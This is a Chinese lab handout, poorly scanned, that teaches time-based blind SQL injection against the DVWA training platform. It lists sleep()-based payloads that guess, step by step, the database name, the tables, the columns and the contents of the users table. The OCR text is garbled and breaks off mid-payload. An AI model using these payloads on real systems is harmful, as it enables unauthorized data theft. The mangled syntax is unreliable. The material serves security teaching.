數(shù)據(jù)庫應(yīng)用與安全管理實(shí)訓(xùn)SQL注入(時(shí)間盲注)1

1、言1言息宜至與管理專皿兼學(xué)資靦庫實(shí)訓(xùn)I SQL注入(時(shí)間盲注)1一、實(shí)訓(xùn)目的1 . 了解SQL注入的常用方式2 .掌握SQL時(shí)間盲注的方法二、實(shí)訓(xùn)環(huán)境1. DVWA平臺(tái)2. Firefox瀏覽器(谷歌瀏覽器)三、實(shí)訓(xùn)內(nèi)容1 .配置DVWA平臺(tái)進(jìn)入DVWA平臺(tái)，選擇DVWA Security ,將安全級(jí)別設(shè)置為L(zhǎng)ow。2 .測(cè)試SQL注入點(diǎn)(1)點(diǎn)擊SQL Injection (Blind),進(jìn)入測(cè)試頁面。(2)使用參數(shù)1' and sleep(5) # 進(jìn)行提交，頁面明顯延遲。使用參數(shù)1 andsleep(5) #進(jìn)行提交，頁面沒有延遲。說明是基于字符的時(shí)間盲注。(3)猜解數(shù)據(jù)庫名的長(zhǎng)

2、度。具體命令如下：/明顯延遲? 1' and if(length(database()=1,sleep(5),1) #/ 沒有延遲1' and if(length(database()=4,sleep(5),1) #(4)二分法猜解數(shù)據(jù)庫名。具體命令如下:八言息我至與管理專皿裁學(xué)費(fèi)靦每? 1' andif(ascii(substr(database(),1,1)>97,sleep(5),1)#/明顯延遲? 1' andif(ascii(substr(database(),1,1)<100,sleep(5),1)#/沒有延遲? 1' andif

3、(ascii(substr(database(),1,1)>100,sleep(5),1)#/沒有延遲修改substr函數(shù)的第二個(gè)參數(shù)，如substr(database(),2,1) 進(jìn)行測(cè)試，可以 獲得數(shù)據(jù)庫的第二個(gè)字母。(5)猜解數(shù)據(jù)庫表的數(shù)量。具體命令如下:? 1' and if(select count(table_name)frominformation_schema.tableswheretable_schema=database() )=1,sleep(5),1)#/ 沒有延遲? 1' and if(select count(table_name)fromi

4、nformation_schema.tableswheretable_schema=database() )=2,sleep(5),1)#/ 明顯延遲(6)猜解數(shù)據(jù)庫表名的長(zhǎng)度。具體命令格式如下：/沒有延遲? 1' and if(length(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=1,sleep(5),1) #言1言息宜至與管理專皿兼學(xué)資靦庫1' and if(length(substr(selecttablename

5、frominformation_schema.tables where table_schema=database()limit 0,1),1)=9,sleep(5),1) #/ 明顯延遲table_name from(7)猜解數(shù)據(jù)庫表的名稱。具體命令格式如下:1' and if(ascii(substr(selectinformation_schema.tables where table_schema=database() limit 0,1),1,1)>103,sleep(5),1) #/ 沒有延遲? 1' and if(ascii(substr(select ta

6、ble_name from information_schema.tables where table_schema=database() limit 0,1),1,1)<103,sleep(5),1) #/ 沒有延遲重復(fù)上述步驟，猜解出兩個(gè)表名。(8)猜解數(shù)據(jù)庫表中的字段長(zhǎng)度。具體命令格式如下：? 1' and if(select count(column_name) frominformation_schema.columnswhere table_name='users')=1,sleep(5),1)#/ 沒有延遲1' and if(selectco

7、unt(column_name)frominformation_schema.columnswhere table_name='users')=8,sleep(5),1)#/ 明顯延遲(9)猜解數(shù)據(jù)庫表中的字段名稱。具體命令格式如下:言1言息宜至與管理專皿兼學(xué)資靦庫1' and if(ascii(substr(selectcolumnnamefrominformation_schema.columns where table_name= 'users' limit 0,1),1,1)>117,sleep(5),1) #/ 沒有延遲1' an

8、d if(ascii(substr(select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1)<117,sleep(5),1) #/ 沒有延遲(10)猜解表中的數(shù)據(jù)。具體命令格式如下:1' and if(select count(first_name) from users)=5,sleep(5),1) # /明顯延遲users表中的字段數(shù)為5猜測(cè)每條記錄的長(zhǎng)度。說明巾rst_name的第一個(gè)值得長(zhǎng)度為5個(gè)字符。? 1' and if(length(substr(select first_name from users limit 0,1),1)=5,sleep(5),1) #/ 明顯延遲(11)二分法猜解表中的數(shù)據(jù)。具體命令格式如下：?1'andif(ascii(substr(selectfirst_namefromuserslimit0,1),1,1)&g